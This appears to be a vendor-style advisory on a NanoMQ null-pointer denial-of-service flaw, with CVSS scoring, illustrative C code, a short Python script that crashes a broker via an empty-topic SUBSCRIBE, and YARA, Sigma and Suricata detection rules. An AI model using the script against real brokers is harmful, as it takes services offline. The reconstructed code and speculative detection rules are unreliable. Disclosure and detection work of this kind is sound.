CVE-2024-31041

Executive Summary

CVE-2024-31041 is a Null Pointer Dereference vulnerability in the topic_filter function within mqtt_parser.c of NanoMQ version 0.21.7. An unauthenticated attacker can trigger a denial of service (DoS) by sending a specially crafted MQTT packet that causes the parser to dereference a null pointer, crashing the broker. No public exploit code or patch is currently available. The vulnerability has a CVSS base score of 7.5 (High) due to network exploitability and low attack complexity.

Supply Chain & Package Security

NanoMQ is distributed as a standalone binary and via package managers (e.g., brew, apt, Docker). Users should verify the integrity of downloaded binaries using SHA256 checksums from the official GitHub releases. No malicious packages have been reported in public registries.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the broker.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete broker crash.

Threat Level: High – Remote, unauthenticated DoS with low complexity.

Deep Dive & Mechanics

The vulnerability resides in the topic_filter function in mqtt_parser.c. When parsing an MQTT SUBSCRIBE packet with a malformed topic filter (e.g., a null or empty string), the function attempts to dereference a pointer without checking for NULL. This leads to a segmentation fault, crashing the NanoMQ broker process.

Root Cause: Missing null-pointer validation before dereferencing the topic filter string in the parsing logic.

Attack Vector: An attacker sends a crafted MQTT CONNECT + SUBSCRIBE packet with a topic filter that results in a NULL pointer being passed to topic_filter. The broker crashes immediately upon processing the packet.

Impact: Denial of service – legitimate clients cannot connect or publish/subscribe until the broker is restarted.

Vulnerable vs. Patched Code

Vulnerable Code (nanoMQ 0.21.7):

// mqtt_parser.c
int topic_filter(const char *topic, ...) {
    // No NULL check on topic
    if (topic[0] == '\0') {  // Dereference without NULL check
        // ...
    }
    // ...
}

Patched Code (hypothetical fix):

// mqtt_parser.c
int topic_filter(const char *topic, ...) {
    if (topic == NULL) {
        return -1;  // Return error instead of crashing
    }
    if (topic[0] == '\0') {
        // ...
    }
    // ...
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup: Deploy NanoMQ 0.21.7 in a Docker container.
2. Craft Payload: Use a Python script with the paho-mqtt library to send a malformed SUBSCRIBE packet.
3. Execute: Run the script against the broker.

import paho.mqtt.client as mqtt
import time

def on_connect(client, userdata, flags, rc):
    print("Connected with result code "+str(rc))
    # Subscribe with a null topic filter (empty string)
    client.subscribe("")

client = mqtt.Client()
client.on_connect = on_connect
client.connect("target_ip", 1883, 60)
client.loop_start()
time.sleep(2)
client.loop_stop()

Expected Outcome: Broker crashes immediately after receiving the SUBSCRIBE packet.

Blue Team (Defense & Detection)

• Network Monitoring: Detect MQTT SUBSCRIBE packets with empty topic filters.
• Broker Logs: Monitor for segmentation faults or crashes in NanoMQ logs.
• Rate Limiting: Implement connection rate limiting to slow down repeated attacks.
• WAF/IDS: Deploy Suricata rules to detect malformed MQTT packets.

Indicators of Compromise (IOCs)

• Network: MQTT SUBSCRIBE packet with topic filter length = 0.
• Logs: NanoMQ log entries containing "Segmentation fault" or "core dumped".
• Process: NanoMQ process exits unexpectedly with signal 11 (SIGSEGV).
• File: Core dump files in /var/crash/ or broker working directory.

Detection Engineering

YARA Rule

rule CVE_2024_31041_NanoMQ_Null_Pointer {
    meta:
        description = "Detects NanoMQ binary with null pointer dereference in topic_filter"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-31041"
    strings:
        $vuln_func = "topic_filter" ascii wide
        $null_check = { 48 85 C0 74 ?? }  // test rax,rax; je offset
    condition:
        $vuln_func and not $null_check
}

Sigma Rule

title: CVE-2024-31041 - NanoMQ Null Pointer Dereference DoS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects MQTT SUBSCRIBE packets with empty topic filter targeting NanoMQ
logsource:
    category: network
    product: mqtt
detection:
    selection:
        packet_type: "SUBSCRIBE"
        topic_filter_length: 0
    condition: selection
falsepositives:
    - Legitimate empty topic subscriptions (rare)
level: high

Suricata Rule

alert tcp any any -> any 1883 (msg:"CVE-2024-31041 NanoMQ Null Pointer Dereference DoS"; flow:to_server,established; content:"|82|"; depth:1; content:"|00 00|"; within:2; distance:2; content:"|00 00|"; within:2; distance:2; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Restrict network access to the MQTT broker (port 1883/8883) using firewall rules.
2. Short-term: Upgrade to a patched version of NanoMQ once released. Monitor the official GitHub repository for updates.
3. Long-term: Implement input validation for all MQTT topic filters in custom parsers. Use a Web Application Firewall (WAF) or IDS to filter malformed packets.
4. Workaround: If patching is not possible, disable anonymous MQTT connections and require authentication to reduce attack surface.

Valters IT
DevSecOps & Cyber Threat Intelligence